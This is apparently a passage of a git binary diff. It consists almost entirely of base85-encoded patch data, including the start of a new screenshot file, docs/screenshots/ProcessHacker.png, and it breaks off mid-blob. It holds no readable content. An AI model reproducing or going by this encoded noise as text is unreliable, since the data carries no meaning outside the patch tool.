zszeeNIls7rMZ{7LtBS$c96jfmbwfb)*R^`-Ipves@N^j7%@vn)d#*;6m1?&a>2u=V z*pp7Pn#twVN4rPT6FuKWiTxlNIRwnHvUuvv58W{ z&KlIIx83UXyoHs8HK3=ys#-*25kbokfKtvtPq^G>As^7tXYKHI>&s_0L`@JzNrpHN z+HcKv9-#f*w z_KYbpdfNTuMz1f#uE%Ps>Qh2FdI{(%fH0bp0+P@QdH`1XKYAI@>~>B-i3D!tX5Za( zDoC~3Knm7&=FAzBY{5#)f;J_6rmeAatF@Sw#$6zKOQJrK0V?g{86UI$l?2bvb1K zW=d!~lA|G-kyM9VZ+6b#?jZp&+mGl3?L&&Yb1QG)+mm|SFHUDG0Ugi^=zx`WA=o9J zn=aKP1TTUjCMa(X99K?HCM$Q!O8w~@-?|L*s8cTKM*dVULCRMFxJOs#1MmV$b$Fdn z(1bs(BvQJ|ubsa`zIqujvNb|bL@;Rgo!juvpMl8&l?4dpL3W27g&7g+J0?%wy>|z9 zc=iZn+djP_{F{x-aMw-`_cSv);6xu^*}%+s@PY#VR8uQFcgptHRT9R*eYuidcRde7 z7vSjbh)ihMk3QG(h5v5KW3#uu9<*r!x@5?7AwM2YA9JI-f~p@G#JVTW!CODv=CA9z z;+{}@qdpQWuJV2u{Q0^Lr)l{@1ZJxB#XuM$&^-w0MwhWb7IYj+_F)L|)ri~?7vB&z zBO36P?l8gR$CV`_1hgQwRu4Y0f`n*?FBOEPzn>iRu)7qHPdy3pAV$dgO61iR{?z!6 zl%kzo;#FN+*MHfX)}y3-D$DsQFE;g+f+NVrVo)wC)PXxq)n(q7Ij(~mK}y{LDr zYJY?70VnRkkf}G?zKiVxdQVj#%YmgFo^vXcZ!3}$?9th>w6MTivlNZ{n$O-szj=*% z9^~Hx1;dnOfJTujDTi@4hHhVkcEt#ZjQWpqGokXu0oTo+w)XvNxTAIlp%usM4uzJz z9_ZqM4ky}Si{qQ#uiHlkN%nbBH=2mIs&}28BydAxA@IHl7Kk}6|cRw_PoPi*FH1Up7nIS{<>_gxW7jAo+x&t zB4?cV7u>pK=lcck|2in1uE^tpV883UKn{v1lclqMh05EypaTh=MiUcM!cH4chQFVW z27z7j|LrAO9V=Twf@4*qSYJT%ADIn!Kf>baunB9cOHIL!cnf&lLAW!a6zvv-O!3bc zLu}GG%Wm^3`05YQMoYW3sN?f4G_3#)F8~`g3aq9O@|A<`5g2_Ym9hCsquH)^||=RA8q=REIw&ijX-k7&p}UH5gZ zYpvh+w-Co0Sl7oI_)(A$%W>%dM$gaBkFkUpB_((PC~Jl1VM|EElORqgTc~o?;P7q> zcS$RHrH_G>Vjy+Ps~dV+<5rw-Gqrv+f{9twG z9sy(f3*MwZ88j7&Vv-gGE;?u~O$!gE2YgOuZZ1y7k<7ex#zDqpz~x41AGEF&CkG^H zl@Op@D&g$Xieo{QFUEaTk)y^&Gho@gY{5rWgHxCR~8~Gq=466kHj+Z!?5?37f ztit0AS5jT+*eSQWk?}BKVJ&g-HEAyib2QlE%xUiwpgf8GbeEHij3IZ9JG)2)xlI-V z>_O_kQq@DtUV2RL~%<*aaOj}3(oYxoGnzBX+kCEKv!#cPzw2VP_ zJpdYtf`#XA@8UaV_s!bw%eywB9% z|0?8zemO;4rf{iiN{yO!&J+ypc(0)vbfN}&KGmdkqxd7M4lht! z@i+3Ka5m$%+{s_wVMC_SiJkB^saQ93hPC7}0kgl<=Zul<>3Vkiu=3sbxh| zw_}>GDJ?17GCkN289y^_7-4Bq7d7R`(^`OMAGa^0C8qynsj_`ao!+4@c)58?nlu@F z0Ip(B((@vVLYJOiQQD*!AZ2e)oC_%}d&7J0s(A2iS{8Ny0mqvcw2Q_&1_Oxj@c)hl z{a1Ur*B=Y}JK|x0q^)3*kBu1m_19nD>IYd8MCwJ)+YPeX0cPXzEM#9MUC7qrNXQa^ zpVZAwgPbexZ5e&l4L<<`t=ut9pXCFI9l+9ya!F%1%ZZ{9?kDo`+}$uo&H?ni0sY8) zsr(|r4$TiT`2vaexD)3WbMf|+aA}|V2MNsIfSdbhgm<32IBXHMg#t7X*+m(<$I(tq)mdLzbh(Ae8L9gCteg{_fkyux|A?L!Ch4&3Bs&oHI;%;n0)h1W~TsyJny5$u=EIg7~FaFC;^NV zok~FplU^L}SVNsw`EDqaCXQ}P*t|AYU?+K`&5lT8)q+N*JyOD#SO&RZD6E#j@>E8V z5dX`}9=|5K&{3f8{r(TqT>+$fGNs|X+o~hi4?R6}OokQ!XI?Qlv%XIhGUuZ~z-uB1 z!MaOS^lQ`78{Fqk13QXKgO)hSeIC}fQ`=aRdVipSF`5R|yq0}Br;A4fWEG*yvmetd z_Iw6-tdJ!_iOp}jPrH-h4SkE4W3e+MKW!KaLQnB+_(P3phtl%V0Sl|(N=I>~=dn=M z-f0m=W`C-Ql$IZuTiw!L+u5*_-7|;XiX6@SWan2SR03$oV?^y}j5gv?wb~8v@_Tvw zu5Ov^LRBb@Op7IZ&-2?wwDZsyxUMta49#{2;JXT42s%k$d1 z*mo^~EUmG8y4JRX zCvgMI93zjkR1e3eH!~Vu9BxW^-^;r(bCKJ$Goh?@}wD=1m@^m5pcHoCgIvmp_sPnt)>|B0P# zkjHPxrDmxRFRyu3GN@eZZ(GVW;yrrsaf0Yq-%B9-jQKV_*hIV&Dxeoe#>AeMH${Y| zDLgRvCxZS)2O;Z$F@#dq$h~T&t@KCF6K9h{TTWs~ut2A{p8pjoKssfIkN-aDd0jtX zQ4*HR3$lQ<2nF7oX;vHW>p zSaEOBU>z7+WKSbuAnkkm`Hbkam;6gQropv6LE&l`lG*85CR^O1%QJ306U_Mh0eeST zGViW7>GWIH0v;D9Z54;6L16R`C-&qGtW6nd2MuPuJY?3(XRK}gi^j1cLi@K}6@g1BcrEv5sxK4hLKVz!a<&OJ`xqt4@EwRI@`@&w#y!1>gD0WlbiXO`Mo~Y2hqL zhhxh*UH{K$?-S;`|4Z6?zGns(>7;p{w4#@&Ny5H`y>V#*@ZNfy_CJQbJ-(((-Ok=g z-Et`3r?7)CcU|i=mt0R*Nt5lA2<;s|YJ9QUzJ}@U!KXIvM^z|8ru8y^-d{}~cPXRw zgnV%6m0azp?Rc)`3Kp^CugLuD0o?pz^?&@M`%~vJ-1_Z@9=C{`hm4Qepj*EL;h|gD zdwW4GQV^z?w$C@{>b()Lj$3GdJtc@bQkZgM@`o&J67S~rt%B^zQo0t~l1xe(#1#^U z#Zs#9w{78PqI6KyO9_&raSNyaPRxcWl>g-$^9m{U6uzvTyPoli`r)*N>qg7QNJ7g& z&iNyD%8yU(v>?kUj{XM;{|@(lAh}w(J999FlBMffe-)Q1(T@FrdkY4Z2faQtcvy_> z;%VP$|Ks>(M(VvBxini!3IEei8^ZsTm`e&AzTGjGd_p_>JM682nyY|!JdME=H*dlI zQpKEA8n=FX`tOAk9e~eRr-A$M{Ty1ogKM5RRF}Bz_0hu2(jC}=t${zjeOHhI{w9c+ zo!@PZ0~zicDac#*ihsSeX!V>u-8)|xkAe6v)g6IT7p0GB|0I1>)!IEK_C*aDXZD?LQ_?KLy>Cz^;b-qI%`+N;sJOHav7?*1ShUV^ab zB9O}S;%_?`7@R=9$)vR>Zsqz z4Ais##`~iLc>vXg7Pn;$BV&YxP3gN%^7@X0(6Z=;A+KLPhL?MbT+h@G{34^ zMP9QYo5Ky4m17LX6W;}P95yC)$d2dy2(n6FE-+hzjA!}X><8Dlkfq`ju!J0x?~Y=_ z%ZujhJUY1|p>3ivp<-;|mz%zz1tw_YQ7*Xp@+`@2ea!yf>Mnlh>ME zb0Z_`lc*E1NzH9Z-i3Q?lrBOW`JkJ$@JyY`cdn@AYYbcHtBa3Ji|Uta?oI3v&oBA8 zeZq0N zqnUc5tat!m)zYvbjb0AY>)(Ol5-1(xxK2x~(ci_!#*(iUN8=**3`N~e`umv}_k2G> zPSKOpR~6ji(L>XEAC8Ez^8OuG^>HtqD1d)+E1f9#6SlqkOek+{E6Hj<-3uZ=NBK9W zg_hXZ>%9(oI>N3>kJgqp`%-XOK@)jQ&Q7+EIIJ3B&{gC3{hD=;S(besARe$_o9 z?G0Alv0SdboWG(14g2g%(s=x5=p5WfmF?Ulv(O#v6!uPbYAs_$zX!Jahbb*2kR(9SeLZ@TeUMgrVQ`->}&5PDLE{fI^J>Y2oW-|1F@5;;}sI^k#E|a zXD>E;+lS)bLe`KzoDRw;QZ=d)%g1-K^^$p(D9j?vPC1oBrUd8)@Jh@Hxwv45K9nWo zOW35Kp^(@H7D!n_VZIM_&yPv#?%x8VYTrU-A85ijWPh)h9nM8z!+BEU*2KEA=+@jK zs2Q_b9$CFUldajs9rNZF5@I-6iDhqaYkgyx(9vvoZs^w=UZQ(Kc10){1-P?)z*+K* zQ9!hg^#*kg9eDEgUc}mLjZRAr{c#WW5sDJaSpw=ah`X$Fk=9x9qqIFriR=r9*<*S2QMdO!Nq(oS=h8^P0+yh07)u?FmwoC~B(@rhOj*zw zeN(mitEukNu!(lpHiB=nLf(}feqT^5u5#o$F!o4a*x%o!@6kSKqiLgDCg@s;JWmRM znK<_8gJNC6AJ-2C0Hx%Zh3W;;bl>M?)altJ2DBd$*nXuqCdB9AZCdq4be0c(Cka)U zcD*9cx+oN?@pv0X^9wHZe!b6FH_1It*%X{orn|p*K4M|Ti<=sa%q-eLTuM!#4u>X` zC#1~2c5T?Lzv|c9#h)RS7z9bil$3xuX(MOq0ay`WUtA{q!jAO3#=CDt#zSKcTf4#7RE8IMqeu*6=oHXP2s zN=1-E(QNyPaHk>T2FW^&x;&ou3mTmQ`ggFoNnVcB8yeVdcfQQ1O)1>qYQ%B1YE{{I zGh{i6PlK(KrSTUMm;K}G9u&$)35AATcl-#-PoytCNa9(vYHO>TR-I&tym}=u%0QRZ znZ#bKOOG?p6*pjDQ28YySvn_tCwTUeeg5Tu!TU>bZWYZpJE*slj?5MHIkS@P;-o2C z`Q2udKE5us68yzZuN<&STQ@n?>C2>H{&b{YJE-+;jM)Wv|!Cu|%%gio~t#hvkA~L?in63dTcw*;+J%%t@K^vF=Y!u_wDt$0JpDb7$p`Q6Q==xQNJ?gm=-M7^ z1J<9uAwV~IEMJ1H9R)``2TD=FDD!g{9Jy@Fe*k}xd*7rvfMU|7b2TtPAwqvEwxA`> zO&MNEBbPp)HCq@rcu==U?@Q8O*8f%)wy9|sTc7$Q@Kynna}>Wd?7h|~$YaexMbW?k zxw_?5Ge3qqX>gIwisRIjXohm9orc^V@f;^ussK}xKu*4S!1tuJyA2G^A|K!9|I5Y( zEK2tZfPsEd0c0=&Phqel)I{O?H3G!duJl>#g`-PSV^I|i@pexzTsXHJiZpV0-!vo( zt|R2XreGkwCH+ZyjUk(jyD>4xJG0{ZAlZ&V*NUf3nS4m;Mm2;93N|!McJA-e3zD_n z9@*hus2mfG#{``H>YusTSW62A&ouJzeBq&@%615%T`h~lx zmR{HB3V-Wb>vLm0H$qND?q&z_*X`dIv4CwsZJnrPJrf?^IX1eV(XfjXKxhk9MC3E8 zL2?aqg)8t00WJJm2Ny`@t8ZA9o3)wo+N6n|iu|0x?Gk!H*Jw1wrR++jUqcxrtrD_N zVa_v>+PDQh@zY7B)zzwqt;WBs4Qfw_0r6`kxDN(NFf3OrZ)S(M{=x<>@z!gDMnIGH z+dn*Q8p*uveDfO33|v>O9;j1CW22-grZnSX51rpi1(&GXh)cx6THUxb(hcKiiXUMp zvtpmbmNgC+ka1RkBMnr+BaDa1#oD-~r>i{g(`$yeAgd2z?;^F~-2wg07YwDT@B^9u zz{R9VXq@xPCcKtS37YUX$;2hzrqC&jOM~TySCmQ92d{1nrsycZ)Ub{gRtfNrK4}=& zG^yR;rPXhRn{puIry_~R;F;Lj$0(z@jiM{Jb`KoeqQ%GXja#ownJx8Uh(C|^1=+Dx zW`nyP$&pJAqr0Y`^JbzUlvrH>@Wd0`gIypJ(3>I*NSYUZ#5x;Et-Cv9KCCyy_XY4O zq_si$_rbATU1X2Kfz<$)V3#3e)^7(vF!A=)CXG?xT0CYTcEj#Gak=ZD6ZzJ?=KT9~ z7#ib|@Cw{b=cuhBuiw<2{dU>Qt5UF$?Bj-(@(p_po8x0VTz=b?iG1~m z@Z@qdq45P-uo2qFSQ`lEJH5nf3!lXL7KRLJbK-bUoTZI0lQ*siMZX+HL|LzT^1+~WxPf2M1sDlCM{zm9<7IA3% z;f(b#>|4ZRZS#O4Ex?N|b4)8+gca|*@~Q^-H;bmG^`3Du#1btfpFNR0!pd~u&X0P> zN{)D(<{TAl$GKZI0FM}Qk)0{cA=62M)2VLzZ%AkAC!zkOU*w-JA36UD+05i0ZO$^e zA&H&M*}Luh2;?{Y0<36eYs~efp_&8&VYZjx(RS?SEo#+p{P5(roL%#U;Z9~ds*N$~MTH+ntVI&9*k(Z_hCUFpH4sK6>_K8i5DN)s4S;EB;<$j_-HHH%nbL^)$G%c zL2Kqtl<|kr0Ub=>{UE3B4z72~t>Gu;V@6PSb6a>QSN`_Qe|+0!#+=B1>N~jo{0@!T zySPg(T+rdv2zUvy@{EU~E1{ybUIB{KV%O6Y$>>l?7}@d>XSHpomnIC$lRVf}ffq4u zH6m6})y1Toqq>`7e+;;14*Mz3KMG8JQ31=^0!*6tt0C<4y6t_w*8@$6DzLiX3R{k9 z>3ZCL7wVMlGS(gznqReje&ZHe+R#DJd<*&Fev{S_JLy$b<}pY=y`DXki6iPhtEt?iOpMwn zu-d+GoT@sq;ZVSegf8B5V8&dfJ4Q}%*gpn`H$kr=c>@a@bejogQ<1(HF0biOie*Al zZAQ4kIm#kw+X5Z6PUa>}nPmxLR<1VoLeF*{1f!;j+_9Q`u8q>Mwlu{!RpPYeb6!gv zXRmK8hdQk}Kxm`tOB5(j)KA}yBsJ-y^{;Qz zKi44s+i3he{)+e=UhJC1kiZTE9qSkMbI`5C6$4!`reLBFN^V;QZT7M-z6R=B1fzna z1xNHqVkwuNo}E(klG~1)0cw9rD0xu8U5iCWUO>wBv8VG-l_(M#x!T9&bTP5#6iDDT zdm?ma24>i!L&U939F`WSWdj2=sAC+4E~aI47eSP;~~X#RwUA=2_l8`norwugYhd+&+)ksnen%x&!4p(q^e)6?=4&3?dDB3<%4FbRKh!X zVG4D1OEZ3Tqj#uO>aUp3!CK*ss7r%#B3w)I6106g*o(AteA5XDBY~U9n`Lh5B6s~F zsmi8LakU;28eLqjyIRyA&vs_nI*L1?7Ne=G>mmmbmA-Sh38i#f6F-t+2Q@BaYZ36? zD%{86ThXm?ybzOXxD=i3U=gomeWS@G3GZbsF%XO{ua>}W`{b?)!`pj`lZ-msp4UPf z4pW@8!M3SFbyREa#eJiKm^9dHKZ=RNV^{rEa`12!7gP) z=xD|Ow-}uel{?VTrFU9rbeG6kyK|}*=)#W-ULsR%LHV-3rKhv2!PHT$nhk1=(}?jO zn7f})6gQ$RC{ox@o~zl(XYM`|ZR*vt))H@RezmPY!A`iYq72!T6?Dp~lh8Qnp7Uo$ z$@yef7pY6Uj$HnvNkpTQwPjE1SFM7sFe<%XCU=yR6-_}3n4{#tGw+=0L3Ft+WO@>S z?027{{F=(h)2)14#; zA9B(?EKpnoMi2U(5EuOtc+3AiW9%$yjoEHFv66U4FNk34cDx+jXA1$?IdkKaQFe*y zkj{M8S-9RblG~vtwzm}$<%CBN)8Xd*P|Oej+M-UqUx#$$^C=%!_RxWPXX+h z(%sj&AR@9v_!~PHmFp197pw{=7C&y_S%h)Y#euY}#PTrZ!h;~?gsS+ORy*}}yd7G-rh%^Bekgm$ z*tOUwqsL2%prf5!>V_lY4?V{Z%sREXv%Js8tl1QaX>zb2^9~1C71OGep+Jx~t|AEZ z(en|fbu}WdfCb6^jA>HcWZ+yi__Hj0w%2LMgAulDDv(n(@O-Xe8rn-PHJFD?utAv? z{SG(-nS`Ux9fcpqkHYq;9BRAg7znEM-*hrqw17a`K81p~_^s>h05f%y2I+n0=4Da$ zP8>#A-5$Jydj`s|^(Sws@3t44Q)GWXlhaa6OIkvavEA(@=ilDOs$Pa zvejHi-CAY${&pX`iN|t>T+p`cf_0o{R=PQQozioUxq(ZGp zXj~ehIJe2kkDy%#en&ic-O%bCkYfjn%Y4g<_hL^JzgJdswwmSNo5-6iL28M_P~Ll4mzbj;Sigh- zn)zb`OMeKQvv{JA^{v05KJD-?4C&jG%O;K&TocBOcZ2TUZ8T>nEjlfg5DdNMD);1k zES-i){7S*g^0YQ*E6NMHLB4QxpE4H&-HC4=s<|Ci93V*Sl@mTJ};WflAR z>a`vI)_ik&^G~TUFPTRRrOu(Jrwha&iogNXDsJkB*gQ<7Gv${EVhbaK87;E1wfH1inm@`-+RdHN<_y6%PTGrF+G}DiUwfHVyNc@4qCy&HY`RKk^h*XY&3Zh&=!T zEF?G%J*pywilC`TGJusc^k@$rf`Wtb7ftjPNqsWvkaNYUNIs$ipHIo2}QlN>CS{)+XdXbvGI^84t-Qy(*k__I2S9@=3CIhLB5D-HA~I zQ-;=tEpB&e*Ho*7b&@^O`M@6op7x#Mh}^)HG4RWQEzXV$JOSp6XQ3Zjf<8Re2$AYm zkgpds?lQGLv@!i?w=6vR#F|vI0a?DtxuP=oWB2gXzL1K_YoFh!ClvO#nM7eXba1-b zyk9-8f-Mj625?7EbY}Y$)^Ig4*!W2JoYkIN>;;l_V(@ujaw6vmO>J62&w@&APer{vOfV!^!0n!Zv2H?mF0+ zVv{}N225IQ81cFE?Nh=nQeT}?7{4&csDleOh^haG`gmF=;>11-IFB?Cw4%0q2zRUCEr-p*DlNdZb+scSo+mW0yi`qnO2Me6waI&j=g;-QO^#EP1 zvb#17%%|>og+hP=gL^`v+rXR_Ht%7`jA3|_Y44hO``dlrGO7ilnky4kla&3)WU@I}uf(QOZMW+PdfDQ*3x-^T6aQ zKMg-_^Y=~H!9t+^PNL}njkyPOzKH^VOfhL~oObl5=q*_h)a{BQ&$ir&TwVwcYqK>+ zT99z#EHlhSx!Q;eZ1|oc9bGl8p@nQ}I*!W%{fYATQH=x$9Zs1v!ylQjN7EU3B6e#Q zpJxwU;Y#qwKH>T>pc;3k&F^Cj5D0!pi^YbeBzf(nhgM_S8R8s>Ye{Rvv}Nje(k|&b zKQx5HZeY%*<>Ap}2ItcuoLoF7Kk?@IJNaZ>iP4GCqJrjzCP>(vbG{7 z`2TX@Px^(wY{>ESqVG2#QEyD39v7t33JXaMc}T;qg#^|hihL=l1coODmn);GU07IM z78x?)*J$kv)|2mW$w#0J%OxO!uoOg2t?dT%0#QUD$-$Q zt+TiP+*ZI117j9Qr+#;jFytm>Wi2t_EmF5_W}rK2>F`E*oIHFBjB=!GuB|xGWyEet zRZ^t+b#qH@ie$#T8@K#^d)e6Y#QGao4tuM6XqNlSuUCUmo$H{MDgd_qMD&lR84#{KkN3F?W)FQo1%X&z9G(4s5U#%g9lwZilAWDX0pI z^lPNQss!4{?U55=D2l6&*78*Iy&Q8G+KYs}Y_3!?#NQZxqHlzr=h`(vUrGEMGs*1d zw)iJ4C)#RO$%v1#9`v@JH*4-Tl7@YoD*@5u&u4q8Tw|b-6mj9xtpD? zDBr(K{XiH7`bf{kR7#9Y`W=!<36|}6Rb=sJdPaAX%*ZeCuSpQZ5l1;Zd3a;eCMqeg zL^hOP|KSVNN_pF{qa5*u&6{`TPQoA>iWWx}L=wws=vaCeq~WjnZv&I|GB_ z4?#NeQ%k~ymyxCyX=(EisboW>G9fejwf<18_}OgObk7?MxEaH+{WgcRRuwt^_MiT> z7XJU(|M1Ypt^e6t^))yRr_@YS?{680x(?EKpo0}F4y{1!=TxBEkCg(6&`cYL|3_fT zFXG(5FG}Zy@&r1{jn9kE8H&%5#eWtC@KA4N+vMvoW)f***CeA4bEOgOnG5$N~ zF(jUj$S-ujFKqnSf%=)yHhTTSEBoNV8rvUpAhSH~o=c$~l&YhsU&AgiH3n%v8rvbi83gP@y!no@7TvI;DIE7ymK=Y5QCD^(`wqDY8l> zm}TPIL+(^pyN;cND;Re+Zgm-YE(@0RQ;;A3Z37p$Gk-L+`2Y8Z#?JqMg1jA&+d7=_ zc)T)DKY+Nim!idLMK6m=gFeYfA^)WVT=Z{538sKFM2+u_NahpIkxLWI;=QAC^1o6QPO?z@o_A6c(Ac$zKg zMHGGGkooi)4`>~amOAgTNj4G|Kbf5|8rzuqb@-2OxshoYsbQ;;LzI?u9R?QQi6Pk z^i_Bgm~oXX9`nOYFZ=gep`lApLI3K7~(-MjX3-|Ij$p>O=u!T$b&R zyxBBQ5EU{q2Ag2ZfOvF|e^3{2q~%zQ$5nyV~o=hD`c9&R+e+4t|FBly<;y7lA02&5$b@Qi&+oaGMX1Ne;Jw$S-sK5$UmDK8(p ze)%RDI(WXBmT(&yp&tsE;mmshQ!)>IJE8A8!xJ^|u?rI^9-oi3F_rqa1GV`Z%9Oti z<0oq8CGAVn9-Oi2sCFnw@XjSWh_{1JopAeDun_%jeLQR@keg@}K4VC8HnldOxbTre zc6%hOx%aQAQF0;LSluZ44)h%%zkjmYKKQ5V#Yc9nrfvMjl)0yzurGQaXc1ob_SvNe zx0@n}Jq^e|ycq~lw#KgqLJ|Ez7#~CuE}fuv=NpK-XC-elNrQh`k_=szdxQ@fd^SHF{2-?a5(X3Q~7uEoi&ShOF3r;vESs9>&* zy~Qj>9xx5L=l0GdG4sgmOy}O!^KH;}Q+Z{#x8vSwY8P)jh#Xk5R2@h-(7@a+u~iK$ zUgF>EQw?-3t#GybtxeJAkkTaVc*d73w$NGl?_vJ&58h4z|7`btdx$JT5Jin7=nPBN z$E*kW=3=)Umrw7#6%_~;TgJQ*P;%PQX!L?Pbd_A_T$~7?go=NZqnL4NGX5KOeD0Mx z;VAJ6+pGrZ@_7v;k?rbO0HEw$$AY=F2?Z0fnUj_azQ`?x7Qv*8>2>K1DemtrzT}Ds zN0$a3^P)=*xdukjCqq}Diy8+ULELhsU0-E|6U&gBC*EL6`>Y|~I2W5tx6iwL<5*AY zXx)%hrZ~C*)}$(EH;d?jZRA7$X?Pe88gdNo4kx+NohI-!-mFWCEhqI>X>PppxWLJeXo@WJ3fPX7JR z$#2Nto+DmnTW#+u=aA-VLE3;0YnL^=NK2b~@piDaDeH5$2j^hcA9)yC4!u*Y60r=! zC!xC`e?jvtJ=f?PYF0`WM8+A}O0*WadbsNg&t}IvcYfH-2USmO6&ovZK*FOCB%k?_Hclzk>PdVa2{sTdXI_ zvh^<+J@xtZ$ZR71f+?o#Pa^q*LU%;IXI#c`Q3&)>N9LzpE#nr)BWrEVb4;pxHa;1P zS^;fbIhW{_BD?rdm_x7~=p|v*z8RGrA^e9r+3166-8| z-JS=^0*ed5C#K4$tuhf0QBuK5wKzg3^vaw41HpQ?n$FfZ_KILh`_S_ysB67Bl@E;B z5-+qyY04+90}jk>D!46QT~q)WzDJVLRel7k;(kNLWM}JK`Ql=jZQuCCzGF+{;ZGP4 zrj6p$TKJ{sU&%H-n!4|ep}pXkyUs-wSz6$892O=!@jnSc`)M#E{C7RL{&$8f^JIG| Y^{*fIL_v&aU~u3|&p%h}J9gp!0+9MbBLDyZ literal 0 HcmV?d00001 diff --git a/docs/screenshots/ProcessHacker.png b/docs/screenshots/ProcessHacker.png new file mode 100644 index 0000000000000000000000000000000000000000..d797e5e69d71d100b7f6be276dbf80030bd1195f GIT binary patch literal 21786 zcmb5WcR*9?(l?q=Eg&|e7aJ%D2+}(n1*Ho@K&nQhnGkB|L~w(O6s1WMlwJbTLMK6# z7CM9$N|fG04Lxud?){zbocBHF-gEx|LbBGg=9y>aH#5H(cw?Za$$X0Q6bJ-jesKS; zAqWJn1isczFaYoHrR1^!KfrE=nty-_JGtk9U+C=Abk#th;>gnnPw0W)Pa^J{xq(1u z8jrug&CWT`K%hrO5ALcx^0Hb^ar$~4;xW;cO-C$-HuELx-&E*itUs5jWj|vwon&MS z5h{|fP0*_Prs$4$dD^bc&!BWJt>;|^$N2-$z01-zx9v6VTuT@-tHs#CZI1CKrmh`<|t08@r-plz<^jH{51w zT=l60%QB;5R_gc3Bi1FNEXNBBHVTle{3(RoWSY_PL94|=?BU+ykzAu}zv|AK_x>w& z+trZ)o9X3c`u+<>;l=5;ZJPDeEuzz+tYv&D24j-hXD6x|FQU7z8K=42=RJV$hjVhJ zoN2tR6G21nI$Y|io!=-5*c9K+_vLlL`gAyKcNNM{2iR__lOctQ!!7Z&$!DTUX(HMl zV?dhJpW;^#Js%x#JwCiLoa$}rf!@9hylU?%qKQ${(lMQ><%$}|!t_w~kSFsu zNEv~)+l^$1XZYtWJcJvGJ$TPJrc!rcde!<2;$qsfD0+ z42EkvtdA(xGHnC<#1T86@wvl>+qJb3G!&}N&2w}z;AfDt)OtCX z+doTHJr%7g5`2?U!imR>@j1_`B&p+li-2m^2mpQPfBje>;@tGfn_a0#9@`r$yNUZ%$g$-Ba*DNw^GuYo-X!YSh)lRo}7 zkN|3K_(;oV&DyG1`vN@)dq&Ct-3S&%Cov!%g`63%V8}KaE>VL#8NyGw3G@842!s{w3c$R0N@Z+rA~|CTW?QzL%)1}V#h z4fp=$eQi}25_FLyFz90D_q_A#PumhYL*N5j%TWz8UdHFrjQYdUZC&7mw)kDNO~K2K z0o2vSfHsL|NmJ4>k%O(pv1#3yEiSXhkb?adq6_v0))+gk_lGv^19%Zp1W$5_@mLUl z^~9@c3^dvqX+c(#3U@HKf4)t@u zeEqlE$w*qn^;G(e;X*xY1~IpZ83*RqwqMDUQMEc7u4a2Bx2PXOxlrj1-fKVDxKz9i zgL23E15)altY+#v@RFaUxZ@i7#l{9ddnL?Fmu%Xa?TNF^*^fDNdNn{yRm76*qGYyP6bDcOSV= z^oW`Y-6m(ET1tHf&r~ge9Xq_NtSmaYLzW3EPR$tHh#bAqZ;qd!@fiq+Z+-$*cIt9C z{PChZa(Q+-&cD3O-&_OUpQ%)}H9LSrtoWNnl~QxO-%bWZK$VeUm~w{XP;<1p=4hwL zVs}G3u4zQSka5)?ep-J(Cn1(NvzS=R25qHt0mxBVjI9mTJh=c1E} zcNhmQvNFYPuq&v;$D>}vJkPU#eZS0Wd@a_{Unh~cC_S@p!gnF>>Sj5?bdWejG$885 zT(8)`yLY=;3s7hLVG*{DaP~>)Rs(x*F4#`QeBSk4En2t+Vf-An65mY9$H0Eh1yn@* z`8{A`_W)*J%(q!7upPc^zyGavv|?jvVc|oe7iQ_=a`6c9KAW52R(!l|H9=5`h4PWo z%O>|}9{Qa-cqAaLY|WE0dCmXUoaAt%#u0RX3^=`xv*!In_{x-(NFi+B&eV*9(iVmx zS?)$jqhp$^s!4c3q0r-*!K~%^w_zKLl!oH1XzDWELRoc3)UD`6!mi`;r%k(wOILFq zrBbfJ^wJ!C8*}ShxAY4!3hz8%OifX_YHyqC#n-;Qihg;=lm6!RXE~X7Yi}rO@pUI~ zW{?-W@CD4X{AFUWX!Qga^!<=?coiqd;9R}<0!sv@C^6pCfIFLO*?7Jj(~6PoHS$j! z6pvfbE+F@dpXZ>h<7<())Y=siP0g`6mpr_}J0(#kp8ZV0d@B_1ETvrRBGne{U2V~z zD-g$@k&`2B<4SXvGp?hHXsYnX?1hMO>~obU8ux0Qe5;hAJ;m|Q;VX3owbi^UEn6W* z{$ZF3yy@aro5z4>F>KRr3}Y%MKQ^K)Zc<01H{sg9+gNfGfUY()n&|t}wPIPB7o$S< z#G2v6f6WC9PTGoW1oTZ_;)3Ke)#=BiFJEv8)))0xeY@;DY?Z=`7wd!m-pOK^am9;L z%J4$;c;WiBp}{n0rLKzOe6@1bEt_g*ZR)AE7g#II9u(&6zeTiblET2)a8jb7Xa=pt zO^0>7yc?0Rd1RtY_D**&l#sM%5i5A+im)@3YwXje+Q)??GkAfr@R(zf#o!Y|!k$yO zZ2@;mA-<#18g~zVZ*QeXz@fbP%-nvZhP-vvpPQ#VT{O3Ac)6U+mSn2yE-B?|$3B_9 z5P{L})P{%MGKxo!5bf1PEsLDJ^qNhR>c84nQ_P&%xPnRIL;c3#KTW7n0~A8s{1<`b z8)XjvN9+OO{4&~htxAf-dGySX^$T23a$s?~aMzeBpXypbohqHaUdMY@>4`^Ov7e@A zwFn`wsORokJ6ZW6kJF-=YBf7dcFt-+v-zRDD|kTFoymZwnLY$x0}d} zzEBmw9(3v)riZ-OmnR&K#78c?jamGnoIqLdGnP+f%@Y^jklt5T<|?fi)T4;V3y3t2 zB;O`@a`rb#zweqcooUMr*S~}I{BoTMH(y+`Mf9rQ^?n|nFKQ&l6@d|x7E9kZw}@RG zJn<%QPGUBiko{dePYGMkKAEsr(9ADSc2F&irbfXwm5Ixv@xv?i;ZKiNeNu|rlIA1J z{TJLEEj$7^kkz0eb)xGIYFN zl-I}F^~mBIuaC+l+rOjI6A;}0_g#Mn8E|D#ZM%O`D7ccc)=eDzf$xpCoo_BE1ZmRJ zG-jGNKH(_XKhcO#7zAar+yWvzyC~uRU&Q`*@&A9+EweP0ELO#A$N2!`bQSna5dVpw zkZT~lH%*@`&zpklbpYT5fVRcQaO2j-hX+&v&e?%?kNA zTR-2zyNV(r^>NK9-82_1Ko1bL!tKjogxxH&mu*@X63vs)o}Lf0Qc_}t^$WYEb#KT8II5tRn5A^gC(4M$ zPl?UFpP94!{iLB0CWBRy*^^&cSWn1acDij8%oAiR1kV;|mXxnUW{STbFroFcC7uv1 zE9iS*lGv>{!VSwd?G)}-pT9~tC{;lvVp-a@nFDrQW)*ZPF#9@{`sAUJ8#7#4y)TOymS506+JLk zN2!1V>eQ5d*I@RBDe*!1P4$QeM0cm9cK;`tYMD2sQn@z5&ZFfnq-Zx;3RD#gniWG| zj(DL;dtVtwr`Md1pDOk=od*tY38q(e$6itHN9#*M*3ioygKJR>%dXQuwxs+ADs~E% zgGVB*GmeV)3VhI#dd@~oW%IS8QRQL@ewWRY~za&iHT 